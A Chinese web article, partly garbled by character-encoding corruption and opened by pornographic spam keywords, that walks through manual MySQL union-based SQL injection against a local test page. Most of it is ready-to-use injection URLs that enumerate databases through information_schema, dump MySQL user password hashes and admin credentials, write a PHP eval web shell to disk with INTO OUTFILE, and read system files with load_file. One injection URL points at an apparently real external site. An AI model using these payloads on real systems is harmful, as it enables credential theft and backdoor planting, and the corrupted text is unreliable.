欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

手動(dòng)mysql 高級(jí)注入實(shí)例分析

  發(fā)布時(shí)間:2010-08-04 13:38:37   作者:佚名   我要評(píng)論
為了 方便 自己隨手寫了個(gè) sql.php注入點(diǎn) 。經(jīng)典的 id沒有過濾 造成 sql語(yǔ)句帶入?yún)?shù) 形成注入, 對(duì)了 大家導(dǎo)入test.sql 這個(gè)數(shù)據(jù)庫(kù)文件吧
利用Information_schema系統(tǒng)庫(kù)來注入,配合使用group_concat()函數(shù),group_concat()功能強(qiáng)大,而且能夠繞過limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段為 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 統(tǒng)計(jì)數(shù)據(jù)庫(kù)中又多少個(gè)用戶


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 測(cè)試過程中只有 root權(quán)限或者 全局權(quán)限才能爆出所有數(shù)據(jù)庫(kù) 普通用戶不能爆出所有用戶
這樣就把mysql服務(wù)器所有數(shù)據(jù)庫(kù)名字顯示出來了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
這樣就能把 test 數(shù)據(jù)庫(kù)中的 所有表顯示出來了。 其中 0x74657374 為 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
這樣就把a(bǔ)dmin表中所有的字段名 顯示出來了。

這樣注入手法很靈活的。突破了 limit 限制了。
來看下 穿山甲的注入語(yǔ)句



以下部分只有root 權(quán)限或者 全局權(quán)限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看數(shù)據(jù)庫(kù)中有那些用戶


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看對(duì)應(yīng)用戶的 密碼


通過不斷修改limit 2,1達(dá)到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通過 limit 一條條記錄取出來

或者直接用group_concat()函數(shù) 一次顯示出來
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的應(yīng)用 注意路徑是 這樣的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc碼 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的應(yīng)用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex編碼
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相關(guān)文件打包下載[用于測(cè)試的數(shù)據(jù)庫(kù)sql文件與php代碼]

相關(guān)文章

  • SQL注入黑客防線網(wǎng)站實(shí)例分析

    這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下
    2017-05-19
  • ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)

    這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)
    2017-05-19
  • mysql 注入報(bào)錯(cuò)利用方法總結(jié)

    這篇文章主要介紹了mysql 注入報(bào)錯(cuò)利用方法總結(jié)的相關(guān)資料,需要的朋友可以參考下
    2016-10-08
  • SQL注入攻擊(攻擊與防范)

    SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁(yè)面訪問沒什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒查看IIS日志的習(xí)慣,可能被入
    2016-05-21
  • SQL注入測(cè)試實(shí)例分析

    這篇文章主要為大家介紹了SQL注入測(cè)試實(shí)例分析,對(duì)于數(shù)據(jù)庫(kù)安全非常重要,需要的朋友可以參考下
    2014-08-06
  • Sqlmap注入技巧集錦

    sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS,其中也包含一點(diǎn)繞WAF的技巧,便于大家集中查閱,歡迎接樓補(bǔ)充、分享。
    2014-07-29
  • SQL注入攻防入門詳解 [圖文并茂] 附示例下載

    畢業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對(duì)安全方面的知識(shí)依舊薄弱,事實(shí)上是沒機(jī)會(huì)接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入
    2012-11-06
  • Java防止SQL注入的幾個(gè)途徑

    java防SQL注入,最簡(jiǎn)單的辦法是杜絕SQL拼接,SQL注入攻擊能得逞是因?yàn)樵谠蠸QL語(yǔ)句中加入了新的邏輯
    2012-08-10
  • 防止SQL注入攻擊的一些方法小結(jié)

    SQL注入攻擊的危害性很大。在講解其防止辦法之前,數(shù)據(jù)庫(kù)管理員有必要先了解一下其攻擊的原理。這有利于管理員采取有針對(duì)性的防治措施
    2012-07-10
  • web 頁(yè)面 一些sql注入語(yǔ)句小結(jié)

    web 頁(yè)面 一些sql注入語(yǔ)句小結(jié),對(duì)于開發(fā)人員來說一定要注意的事項(xiàng)。
    2012-03-12

最新評(píng)論